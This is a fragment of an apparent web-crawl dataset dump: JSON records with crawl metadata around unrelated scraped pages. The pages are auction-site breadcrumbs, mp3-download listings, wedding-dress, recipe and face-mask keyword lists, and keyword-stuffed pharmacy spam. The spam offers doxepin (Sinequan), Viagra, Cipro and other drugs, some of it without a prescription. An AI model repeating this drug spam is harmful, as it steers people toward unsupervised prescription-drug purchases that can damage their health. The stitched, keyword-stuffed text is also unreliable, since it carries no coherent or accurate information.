Tadalafil\nbuy Sildenafil Citrate\nbuy Levitra Super Active\npgFjW","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/kesehatanherbal.000webhostapp.com\/2019\/06\/generico-sinequan-25-mg-ordine-in-ross-ca-pagamento-btc-e-disponibile","date":"2020-01-18T23:01:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250593994.14\/warc\/CC-MAIN-20200118221909-20200119005909-00256.warc.gz","language":"ina","language_score":0.3688793778,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.36887937784194946, \"ita_Latn_score\": 0.09913846105337143, \"lat_Latn_score\": 0.07230965048074722, \"eus_Latn_score\": 0.06749925762414932, \"mlt_Latn_score\": 0.042049095034599304, \"kiu_Latn_score\": 0.03870551660656929, \"ile_Latn_score\": 0.0383937731385231, \"nld_Latn_score\": 0.028089892119169235, \"vec_Latn_score\": 0.020817290991544724, \"por_Latn_score\": 0.01817941479384899, \"slk_Latn_score\": 0.018014390021562576, \"scn_Latn_score\": 0.017502157017588615, \"lij_Latn_score\": 0.015606429427862167, \"eng_Latn_score\": 0.01554090902209282, \"fin_Latn_score\": 0.01373649388551712, \"lvs_Latn_score\": 0.013260651379823685, \"nap_Latn_score\": 0.011278192512691021}","num_words":1120,"character_repetition_ratio":0.233,"word_repetition_ratio":0.058,"special_characters_ratio":0.142,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.246,"perplexity_score":32288.5,"cluster_detection":-1} +{"text":"Videos Roberto Pocaterra La Sopa del chef 11 months ago86 Views1 Min Read Roberto Pocaterra Roberto Pocaterra Share This! Facebook Twitter Google Plus Pinterest LinkedIn You may also like Videos Roberto Pocaterra Fajitas de Pollo 11 months ago Videos Roberto Pocaterra Tortilla de Patatas 11 months ago Videos Roberto Pocaterra Las Recetas secretas 11 months ago About the authorView All Posts Roberto Pocaterra Fajitas de Pollo Share This! Facebook Twitter Google Plus Pinterest LinkedIn Videos Videos Roberto Pocaterra La Sopa del chef Videos Roberto Pocaterra Fajitas de Pollo Videos Roberto Pocaterra Tortilla de Patatas Videos Roberto Pocaterra Las Recetas secretas Videos Roberto Pocaterra Curso de Cocina Featured Videos Roberto Pocaterra Tortilla de Patatas Videos Roberto Pocaterra La Sopa del chef Videos Roberto Pocaterra Las Recetas secretas Videos Roberto Pocaterra Entomatadas Caseras Videos Roberto Pocaterra Receta de la Felicidad (Película) Videos Roberto Pocaterra Fajitas de Pollo Videos Roberto Pocaterra Curso de Cocina","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/robertopocaterra.com\/2019\/04\/02\/la-sopa-del-chef\/","date":"2020-02-25T02:37:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146004.9\/warc\/CC-MAIN-20200225014941-20200225044941-00153.warc.gz","language":"ina","language_score":0.3611443043,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3611443042755127, \"spa_Latn_score\": 0.18999001383781433, \"srd_Latn_score\": 0.12041010707616806, \"por_Latn_score\": 0.03326638787984848, \"scn_Latn_score\": 0.029204625636339188, \"lat_Latn_score\": 0.023450400680303574, \"kiu_Latn_score\": 0.01977107860147953, \"mad_Latn_score\": 0.018116416409611702, \"glg_Latn_score\": 0.011686707846820354, \"vec_Latn_score\": 0.011175340041518211, \"cbk_Latn_score\": 0.010006925091147423}","num_words":279,"character_repetition_ratio":0.315,"word_repetition_ratio":0.337,"special_characters_ratio":0.159,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.357,"perplexity_score":6847.2,"cluster_detection":-1} +{"text":"Worthingtondefense.info\nRobe Mariée 2018\nHome\n»\nDecors à la Maison\n»\nDesign d'Intérieur\n»\nConception Extérieure\n»\nRobe Mariée 2018\ni1\nphoto robe de mari e pronovias 2018 mod le drafne\nphoto robe de mari e pronovias 2018 mod le draval\nconfidence mariage paris robe de mari e demetrios 2018\nphoto robe de mari e pronovias 2018 mod le drisela\nrobe de mariee ete 2018\nphoto robe de mari e pronovias 2018 mod le dralia\nphoto robe de mari e pronovias 2018 mod le draliana\nphoto robe de mari e pronovias 2018 mod le drisule\nrobe de mari e 2018 pronovias d voile toute sa collection\nrobe de mariee 2018 boheme\nphoto robe de mari e pronovias 2018 mod le draboe\nrobe de mari e 2018 d couvrez les plus belles tendances\ni2\nrobes de mari e 2018 collection philippe apat mod les\nrobe de mari e 2018 plumes noeud d collet toutes les\nphoto robe de mari e pronovias 2018 mod le drepea\nphoto robe de mari e pronovias 2018 mod le drail\nphoto robe de mari e pronovias 2018 mod le dradine\nphoto robe de mari e elie saab 2018 robe manches\nphoto robe de mari e 2018 robe col bardot anne barge\nphoto robe de mari e pronovias 2018 mod le drasila\nrobes de mari e 2018 robe de mari e douchka\nphoto robe de mari e pronovias 2018 mod le dracme\nrobes de mari e 2018 robe de mari e d sir e\nrobes de mari e divina sposa 2018\nvintage robe de mari e princesse 2018 avec manches guipure\ncollection bella 2018 robe de mari e daurianne\ncollection bella 2018 robe de mari e alexa\nrobe de mari e 2018 bustier courte longues 2019 dentelles\nrobe de mari e 2017 san diego 2018 philippe apat robes\nrobe de mari e 2018 rouge vermillon paules d nud es\nrobes de mari e 2018\nles charmeuses robe de mari e les mari s d aphrodite\nphoto robe de mari e pronovias 2018 mod le drumsa\nrobe de mari e femme de la ligne white one 2018 bellissima\nrobe de mari e bustier 2018 2017 livraison paris\nquelle robe de mari e pour dire oui en 2018 madame figaro\ncl mentine iacono nouvelle collection 2018 de robes de\nrobe de mariee 2018 dentelle\ncollection bella 2018 robe de mari e clarisse\nsoldes hiver 2016 robe de mari e pour 2016 2017 2018\nrobes de mari e 2018 robe de mari e daisy\nrosa clara 2018 toutes les robes de mari e de la collection\nphoto robe de mari e pronovias 2018 mod le drizana\nrobe de mari e sir ne 2018\nrobes de mari e 2018 top tendances mariage tout prix\nphoto robe de mari e pronovias 2018 mod le drope\ncollection bella 2018 robe de mari e azur\nrobes de mari e metropolitain 2018\nrobe de mari e 2018 robe de mari e asym trique bustier\nphoto robe de mari e pronovias 2018 mod le draga\nphoto robe de mari e pronovias 2018 mod le dresaba\ncollection bella 2018 robe de mari e cinderella\nrobes de mari e 2018 robe de mari e dolores\nphoto robe de mari e pronovias 2018 mod le dril\nrobes de mari e tendances 2017 2018 mode nuptiale\ncollection bella 2018 robe de mari e dylan\nrobes de mari e de divina sposa 2018\ncelebrity magazine robes de mari e 2018\nphoto robe de mari e pronovias 2018 mod le drape\nrobe de mariee tendance 2018\nphoto robe de mari e pronovias 2018 mod le drusena\nphoto robe de mari e rosa clara 2018 robe bustier\nphoto robe de mari e pronovias 2018 mod le drisade\nphoto robe de mari e romantique 2018 badgley mischka\nrobes de mari e 2018 robe de mari e celinda\nphoto robe de mari e pronovias 2018 mod le dramia\nphoto robe de mari e rosa clara 2018 robe manches\nrobe de mari e les tendances rep r es la bridal week\nrobes de mari e 2018 robe de mari e annick\nrobes de mari e 2018 2019 philippe apat mariage acheter\ncollection bella 2018 robe de mari e donatella\nrobes de mari e 2018 robe de mari e destiny\nphoto robe de mari e pronovias 2018 mod le drenube\ncollection bella 2018 robe de mari e drissia\nphoto robe de mari e pronovias 2018 mod le draconia\nrobe de mari e 2018 en dentelles perl es longue tra ne et\nphoto robe de mari e 2018 robe manches cloches reem acra\nrobe de mari e vera wang toute la collection printemps 2018\nnouveaut s mode antillaise 2019 philippe apat 2020\nrobe de mari e drulias par pronovias collection 2018 robes\nrobes de mari e demetrios 2018\nphoto robe de mari e rosa clara 2018 robe avec capeline\nelie saab les robes de mari e de la collection mariage 2018\nphoto robe de mari e 2018 robe avec plumes houghton\nphoto robe de mari e rosa clara 2018 robe avec dos orn\ncollection bella 2018 robe de mari e adeline\nrobes de mari e 2018 robe de mari e douceline\ncollection bella 2018 robe de mari e azal e\nrobes de mari e miss kelly 2018\nrobe de mari e 2018 belgique\nphoto robe de mari e 2018 robe avec noeud jesus peiro\ncollection bella 2018 robe de mari e djanet\nphoto robe de mari e pronovias 2018 mod le drinam\nrobe de mariee hiver 2018\nrobes de mari e de demetrios demetrios 2018\nphoto robe de mari e 2018 robe avec corset jenny packham\ncollection bella 2018 robe de mari e camille\nrobes de mari e 2018 pronuptia\ncollection bella 2018 robe de mari e alice\nphoto robe de mari e pronovias 2018 mod le drakar\ni3\nRecent Posts\nbanc en palette\nleroy merlin peinture carrelage\npoele double combustion\ncanapé lit convertible couchage quotidien\ndalle pvc sur carrelage\ncabane de jardin brico depot\nlac de bordeaux\npose de papier peint intissé\nchanger un carreau de carrelage\nchaise pliante pas cher\nsweat sans manche homme\ntapis bébé ikea\nnouveau bmw x1\nspot sur cable ikea\nauvent de porte\ncalendrier de l avent à fabriquer soi même\nchambre ado fille 12 ans\nautomatisme de portail\npetite gouttière pour abri de jardin\nsalle a manger conforama\nMenu\nPrivacy Policy\nTerms of Service\nCopyright\nContact\n© Copyright 2017. All Rights Reserved. Powered By :\nWorthingtondefense.info","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/worthingtondefense.info\/robe-mari%C3%A9e-2018-36555.html","date":"2020-03-30T10:55:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370496901.28\/warc\/CC-MAIN-20200330085157-20200330115157-00204.warc.gz","language":"ina","language_score":0.3619228303,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36192283034324646, \"nov_Latn_score\": 0.29076439142227173, \"rmq_Latn_score\": 0.10831715166568756, \"ile_Latn_score\": 0.032437995076179504, \"oci_Latn_score\": 0.02460484206676483, \"pcm_Latn_score\": 0.020138246938586235, \"lmo_Latn_score\": 0.015898287296295166, \"vec_Latn_score\": 0.01566830277442932, \"frp_Latn_score\": 0.011279827915132046}","num_words":1644,"character_repetition_ratio":0.338,"word_repetition_ratio":0.113,"special_characters_ratio":0.274,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.358,"perplexity_score":9563.5,"cluster_detection":-1} +{"text":"Face Mask Supplier Hong Kong\nFabric Face Masks Made in Usa Amazon, Fabric Face Mask Wholesale Usa, Fabric Face Masks Made in Canada, Fabric Face Masks Made in Usa, Fabric Face Masks Made in Hawaii, Wholesale Reusable Face Mask Suppliers Usa, Reusable Face Mask Supplier, Washable Face Masks Made in Los Angeles, Fabric Face Masks Made in California, Washable Face Masks Made in Usa Amazon, Cloth Face Masks Wholesale Usa, Fabric Face Masks Made in Usa for Sale, Washable Face Masks Made in United States, Reusable Face Mask Manufacturer Uk, Fabric Face Masks Malta, Fabric Face Masks Wholesale, Washable Face Masks","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.siatex.com\/healthcare-apparel\/face-mask-supplier-hong-kong\/","date":"2021-06-14T11:55:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487612154.24\/warc\/CC-MAIN-20210614105241-20210614135241-00120.warc.gz","language":"ina","language_score":0.4170684814,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4170684814453125, \"eng_Latn_score\": 0.13953132927417755, \"cos_Latn_score\": 0.09556648880243301, \"bew_Latn_score\": 0.04396180808544159, \"cbk_Latn_score\": 0.04285871237516403, \"ron_Latn_score\": 0.024425696581602097, \"ita_Latn_score\": 0.012124338187277317, \"swe_Latn_score\": 0.011179560795426369}","num_words":187,"character_repetition_ratio":0.281,"word_repetition_ratio":0.073,"special_characters_ratio":0.189,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.95,"perplexity_score":12992.6,"cluster_detection":-1} +{"text":"Valutazione 4.7 sulla base di 133 voti.\nPrezzo da inizio €0.26 Per pillola\nconveniente Doxepin hydrochloride Brasile\nin linea Sinequan 25 mg Francia\nAcquista Sinequan Danimarca\nconveniente Sinequan 25 mg US\ngenerico del Sinequan\ngenerico do Sinequan diario\nconveniente 25 mg Sinequan Repubblica Ceca\nPrezzo Sinequan Doxepin hydrochloride Tacchino\nmedicamento generico Sinequan mexico\nin linea Doxepin hydrochloride US\nprecio Sinequan en farmacias sin receta\nSinequan generico vendas\nOrdine Doxepin hydrochloride\ngenerico Sinequan 25 mg Portogallo\nacquistare Sinequan online\nja existe generico do Sinequan\nPrezzo Doxepin hydrochloride Polonia\nIl costo di Doxepin hydrochloride Belgio\nAcquistare Sinequan 25 mg Portogallo\nGenerico Inderal Propranolol Acquistare in Emporium, PA\nqual e o nome generico do Sinequan\nin linea Doxepin hydrochloride UK\nbasso costo Sinequan 25 mg Inghilterra\nin linea Sinequan 25 mg Portogallo\nSinequan farmacia dona\nSinequan quanto costa in farmacia\ngenerico de Sinequan en farmacias\nAcquistare 25 mg Sinequan Singapore\nSinequan acquisto sicuro\nconveniente Sinequan 25 mg Europa\nfarmaco generico equivalente Sinequan\ncomprar Sinequan farmacia madrid\nIl costo di 25 mg Sinequan USA\nventa de Sinequan en farmacias de lima\ngenerico Sinequan 25 mg Croazia\ncosto Sinequan generico in farmacia\ngenerico do Sinequan qual o nome\nAcquista 25 mg Sinequan Grecia\nSinequan generico recensioni\nSconto 25 mg Sinequan Stati Uniti\nOrdine Sinequan Doxepin hydrochloride Spagna\nnombre generico Sinequan ecuador\nSinequan generico roma\nOrdine Sinequan Doxepin hydrochloride Italia\nSinequan generico dr simi mexico\ngenerico 25 mg Sinequan Brasile\nbasso costo Doxepin hydrochloride Grecia\nPrezzo basso Sinequan Doxepin hydrochloride Finlandia\nIl costo di Sinequan 25 mg Europa\nbasso costo 25 mg Sinequan Singapore\nquanto costa Sinequan farmacia\nbasso costo Sinequan Doxepin hydrochloride Giappone\nqual nome generico Sinequan\nventa Sinequan farmacias lima\ncomprar Sinequan generico mais barato\npreco do Sinequan generico\nacquisto sicuro Sinequan line\nPrezzo Sinequan Giappone\ngenerico do Sinequan não funciona\nSconto 25 mg Sinequan\nAcquista Sinequan 25 mg Canada\npuedo comprar Sinequan farmacia españa\nIl costo di 25 mg Sinequan Svezia\nOrdine Sinequan Finlandia\nPrezzo 25 mg Sinequan Belgio\nSconto Sinequan Doxepin hydrochloride Regno Unito\ncuanto cuesta el Sinequan en la farmacia chile\nqual é o nome do generico do Sinequan\ncomprar Sinequan generico andorra\ncuanto cuesta Sinequan farmacia mexico\nventa Sinequan generico españa\nSinequan generico en canada\nIl costo di Sinequan UK\nSinequan generico opinioni\nPrezzo basso Sinequan Grecia\nSinequan de 25 mg . generico\nprecio de Sinequan en farmacia argentina\nin linea Doxepin hydrochloride Australia\nposso comprare Sinequan farmacia\nrequisitos para comprar Sinequan farmacias\nOrdine Doxepin hydrochloride US\nprograma prevsaude desconto Sinequan\nOrdine Doxepin hydrochloride Italia\nOrdine Sinequan 25 mg Belgio\ngenerico Sinequan bula\nbasso costo Sinequan Brasile\nin linea Sinequan Doxepin hydrochloride Austria\nnome remedio generico do Sinequan\nfarmacia Sinequan generico\nprecio de Sinequan en farmacia ahumada\ncomprar Sinequan generico en españa\nventa Sinequan generico peru\nfunciona el Sinequan generico\nA buon mercato Sinequan Doxepin hydrochloride Norvegia\nSinequan farmacia valencia\nSinequan generico online forum\nAcquistare Sinequan Doxepin hydrochloride Regno Unito\nbasso costo Doxepin hydrochloride Giappone\nSconto Sinequan Doxepin hydrochloride Inghilterra\nSinequan genericos argentina\nA buon mercato Sinequan 25 mg Austria\ngenerico do Sinequan como usar\nIl costo di Sinequan Svezia\nAcquista Sinequan 25 mg Tacchino\ndifferenza tra Sinequan generico\ngenericos de Sinequan en mexico\nPrezzo Sinequan Singapore\ngenerico do Sinequan na ultrafarma\nA buon mercato Sinequan Canada\nSinequan precio farmacia guadalajara\nacquistare Sinequan line forum\nfarmacias barcelona Sinequan sin receta\nAcquista Sinequan Doxepin hydrochloride Singapore\nPrezzo basso Sinequan Doxepin hydrochloride Brasile\nSinequan prezzo farmacia italia\ncomprar Sinequan farmacias madrid\nAcquista 25 mg Sinequan Svizzera\nPrezzo basso Doxepin hydrochloride Spagna\nAcquista Sinequan Danimarca\ndove posso acquistare Sinequan\ndonde comprar genericos Sinequan\nPrezzo Doxepin hydrochloride Repubblica Ceca\ncome acquistare Sinequan generico\nOrdine Sinequan 25 mg Croazia\nSinequan 25 mg generico\nacquistare Sinequan contrassegno\nOrdine Sinequan Europa\nforum Sinequan generico\nconveniente Sinequan Doxepin hydrochloride Grecia\nSinequan generico effetti collaterali\nSinequan nome generico\ngenerico Sinequan Doxepin hydrochloride Regno Unito\nOrdine Sinequan 25 mg Portogallo\nPrezzo Sinequan Doxepin hydrochloride Brasile\nPrezzo basso 25 mg Sinequan Svezia\nAcquistare Sinequan 25 mg Italia\nbasso costo Sinequan 25 mg Belgio\nlaboratorios fabricam generico Sinequan\nbasso costo Sinequan 25 mg Australia\nSconto Sinequan Polonia\nIl costo di Doxepin hydrochloride Polonia\nA buon mercato Sinequan Austria\nOrdine Sinequan 25 mg\nSinequan prezzo farmacia italiana\npido Sinequan farmacia\nPrezzo basso Sinequan Stati Uniti\nPrezzo Sinequan Austria\nprezzo Sinequan in farmacia\nse puede comprar Sinequan sin receta en la farmacia\ngenerico do Sinequan ah-zul\nQuanto costa Sinequan 25 mg Italia\nbuy Baclofen\ncheap Viagra Soft\ncheap Cipro\nbuy Tadalis\nbuy Sildenafil Citrate\nfWP6G5q","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/hadees.000webhostapp.com\/2019\/06\/sinequan-doxepin-hydrochloride-acquistare-in-linea-in-saint-pauls-nc-bonus-di-trasporto","date":"2022-10-01T21:45:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030336921.76\/warc\/CC-MAIN-20221001195125-20221001225125-00432.warc.gz","language":"ina","language_score":0.4868637025,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4868637025356293, \"lat_Latn_score\": 0.09367445856332779, \"eus_Latn_score\": 0.07112326472997665, \"ita_Latn_score\": 0.07087946683168411, \"ile_Latn_score\": 0.04464185610413551, \"lij_Latn_score\": 0.02073081210255623, \"vec_Latn_score\": 0.018343230709433556, \"mlt_Latn_score\": 0.018175462260842323, \"kiu_Latn_score\": 0.01760278455913067, \"por_Latn_score\": 0.01568973809480667, \"scn_Latn_score\": 0.015223230235278606, \"nld_Latn_score\": 0.013483594171702862, \"srd_Latn_score\": 0.01007980015128851}","num_words":1551,"character_repetition_ratio":0.221,"word_repetition_ratio":0.038,"special_characters_ratio":0.154,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.277,"perplexity_score":30033.6,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine agricole » Aste per le vendite raccoglisassiAste per le vendite coltivatoriAste per le vendite erpiciAste per le vendite erpici rotantiAste per le vendite rulli agricoliAste per le vendite aratri reversibiliAste per le vendite aratriAste per le vendite ripperAste per le vendite erpici da pratoAste per le vendite trinciatrici","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/autoline-eu.it\/auction\/macchine-agricole-raccoglisassi--c12tk2489.html","date":"2016-12-08T02:15:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542323.80\/warc\/CC-MAIN-20161202170902-00285-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.7048537731,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7048537731170654, \"ita_Latn_score\": 0.10889816284179688, \"frp_Latn_score\": 0.06782853603363037, \"lmo_Latn_score\": 0.061383139342069626, \"nap_Latn_score\": 0.03993765637278557}","num_words":114,"character_repetition_ratio":0.386,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.91,"perplexity_score":1858.3,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite pale gommateAste per le vendite minipaleAste per le vendite minipale cingolateAste per le vendite pale cingolate » Aste per le vendite pale gommate CASEAste per le vendite ATLASAste per le vendite CATERPILLARAste per le vendite JCBAste per le vendite KOMATSUAste per le vendite KRAMERAste per le vendite LIEBHERRAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/autoline-eu.it\/-\/Aste\/pale-gommate\/CASE--a5c180tm4504","date":"2016-12-09T17:31:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542714.38\/warc\/CC-MAIN-20161202170902-00101-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.5967909098,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"ina_Latn_score\": 0.5967909097671509, \"bew_Latn_score\": 0.13789738714694977, \"nap_Latn_score\": 0.09111011773347855, \"ita_Latn_score\": 0.08734849095344543, \"frp_Latn_score\": 0.056777458637952805, \"lmo_Latn_score\": 0.012499790638685226}","num_words":133,"character_repetition_ratio":0.4,"word_repetition_ratio":0.048,"special_characters_ratio":0.172,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.853,"perplexity_score":2283.8,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite autogruAste per le vendite gru a torreAste per le vendite gru a ponte » Aste per le vendite autogru P&HAste per le vendite GROVEAste per le vendite PPMAste per le vendite TADANOAste per le vendite TEREXAste per le vendite XCMG","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-gru-mobile-PH--c7tk2231tm3144.html","date":"2016-12-08T20:13:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542655.88\/warc\/CC-MAIN-20161202170902-00053-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.7522878051,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.7522878050804138, \"frp_Latn_score\": 0.08947321772575378, \"ita_Latn_score\": 0.05270804464817047, \"lmo_Latn_score\": 0.041509002447128296, \"nap_Latn_score\": 0.04028387740254402}","num_words":99,"character_repetition_ratio":0.415,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.943,"perplexity_score":1702.8,"cluster_detection":-1} +{"text":"Descargar Musica de Hasta Que Tu Muerte Nos Separe Mago De Oz\nResultados :\nEscuchar musica de hasta que tu muerte nos separe mago de oz\nMago De OzHasta Que Tu Muerte Nos Separe05:40\nMago De OzHasta Que Tu Muerte Nos Separe05:47\nMago De OzHasta Que Tu Muerte Nos Separe (Version Orquestal)05:33\nMago De OzHasta Que Tu Muerte Nos Separe05:42\nMago De OzHasta Que Tu Muerte Nos Separe08:14","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/mp3taringa.net\/mp3\/hasta-que-tu-muerte-nos-separe-mago-de-oz","date":"2016-12-10T01:22:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542932.99\/warc\/CC-MAIN-20161202170902-00251-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.467875272,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.46787527203559875, \"cbk_Latn_score\": 0.14194177091121674, \"lad_Latn_score\": 0.09066140651702881, \"spa_Latn_score\": 0.07122731953859329, \"nhg_Latn_score\": 0.05586030334234238, \"nap_Latn_score\": 0.0489177443087101, \"ast_Latn_score\": 0.021546130999922752, \"kiu_Latn_score\": 0.015812115743756294}","num_words":110,"character_repetition_ratio":0.223,"word_repetition_ratio":0.584,"special_characters_ratio":0.247,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.215,"perplexity_score":26482.7,"cluster_detection":-1} +{"text":"Descargar Musica de Franco De Vita Tu De Que Vas\nResultados :\nEscuchar musica de franco de vita tu de que vas\nFranco De VitaTu De Que Vas04:01\nFranco De VitaTu De Que Vas03:54\nFranco De VitaTu De Que Vas04:06\n♫ Franco De VitaTu De Que Vas03:54\nFranco De VitaTu De Que Vas04:25\nFranco De VitaTu De Que Vas (\"Знаменитость\")03:58\nНеизвестенFranco De Vita - Tu De Que Vas04:01","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/taringamp3.com\/mp3\/franco-de-vita-tu-de-que-vas","date":"2017-02-27T11:16:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172783.57\/warc\/CC-MAIN-20170219104612-00229-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.5718430281,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5718430280685425, \"oci_Latn_score\": 0.16858890652656555, \"srd_Latn_score\": 0.05913114920258522, \"frp_Latn_score\": 0.028319235891103745, \"vec_Latn_score\": 0.026028724387288094, \"por_Latn_score\": 0.0248543880879879, \"nap_Latn_score\": 0.023127714172005653, \"glg_Latn_score\": 0.01736794225871563, \"arg_Latn_score\": 0.01348134409636259, \"wes_Latn_score\": 0.011475913226604462}","num_words":119,"character_repetition_ratio":0.281,"word_repetition_ratio":0.445,"special_characters_ratio":0.293,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.68,"perplexity_score":15115.3,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite escavatori cingolatiAste per le vendite mini escavatoriAste per le vendite escavatori gommatiAste per le vendite terne » Aste per le vendite escavatori cingolati TEREXAste per le vendite CATERPILLARAste per le vendite FIAT-HITACHIAste per le vendite HITACHIAste per le vendite KOMATSUAste per le vendite LIEBHERRAste per le vendite NEW HOLLANDAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/autoline-eu.it\/-\/Aste\/escavatori-cingolati\/TEREX--a5c167tm3439","date":"2017-05-28T10:50:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463609613.73\/warc\/CC-MAIN-20170528101305-20170528121305-00105.warc.gz","language":"ina","language_score":0.8010145426,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8010145425796509, \"ita_Latn_score\": 0.1057913601398468, \"nap_Latn_score\": 0.0382394939661026, \"frp_Latn_score\": 0.029559949412941933}","num_words":137,"character_repetition_ratio":0.375,"word_repetition_ratio":0.062,"special_characters_ratio":0.165,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.945,"perplexity_score":2846.1,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine agricole » Aste per le vendite trattori gommatiAste per le vendite trattoriniAste per le vendite trattori cingolati » Aste per le vendite trattori gommati FOTONAste per le vendite FIATAste per le vendite FORDAste per le vendite FORDSONAste per le vendite ISEKIAste per le vendite JOHN DEEREAste per le vendite KUBOTAAste per le vendite LANDINIAste per le vendite MASSEY FERGUSONAste per le vendite OMAste per le vendite SAME","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/autoline-eu.it\/-\/Aste\/trattori-gommati\/FOTON--a5c231tm2568","date":"2017-09-24T22:45:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818690228.57\/warc\/CC-MAIN-20170924224054-20170925004054-00696.warc.gz","language":"ina","language_score":0.6817663312,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6817663311958313, \"frp_Latn_score\": 0.10784270614385605, \"ita_Latn_score\": 0.08441848307847977, \"nap_Latn_score\": 0.04950452223420143, \"lmo_Latn_score\": 0.04265245422720909, \"bew_Latn_score\": 0.022854676470160484}","num_words":143,"character_repetition_ratio":0.407,"word_repetition_ratio":0.045,"special_characters_ratio":0.169,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.933,"perplexity_score":2428.4,"cluster_detection":-1} +{"text":"Como cocinar alubias de bote como cocinar alubias de bote, como cocinar alubias de bote con chorizo, cómo cocinar alubias de bote, como preparar alubias de bote, como preparar alubias de bote cocidas, como cocinar alubias blancas de bote, como preparar unas alubias de bote, cocinar alubias de bote, como cocinar un bote de alubias, como cocinar alubias rojas de bote","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/antisocial.top\/como-cocinar-alubias-de-bote","date":"2018-08-19T23:15:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221215404.70\/warc\/CC-MAIN-20180819224020-20180820004020-00393.warc.gz","language":"ina","language_score":0.5901184678,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.5901184678077698, \"spa_Latn_score\": 0.3866296708583832}","num_words":106,"character_repetition_ratio":0.271,"word_repetition_ratio":0.268,"special_characters_ratio":0.188,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.587,"perplexity_score":2185.3,"cluster_detection":-1} +{"text":"un exemple de resume simple simple word exemple de resume simple.\nexemple de resume simple modele curriculum vitae,modele de curriculum vitae simple exemple resume pour,modele de curriculum vitae simple exemple resume country club,exemple de resume simple word gisco curriculum vitae modele,modele de curriculum vitae simple pour wilderness orientation exemple resume,curriculum vitae simple exemple de modele resume,exemple de resume simple modele curriculum vitae country club, exemple de curriculum vitae simple modele resume,mol simple exemple de resume modele curriculum vitae,exemple de resume simple modele curriculum 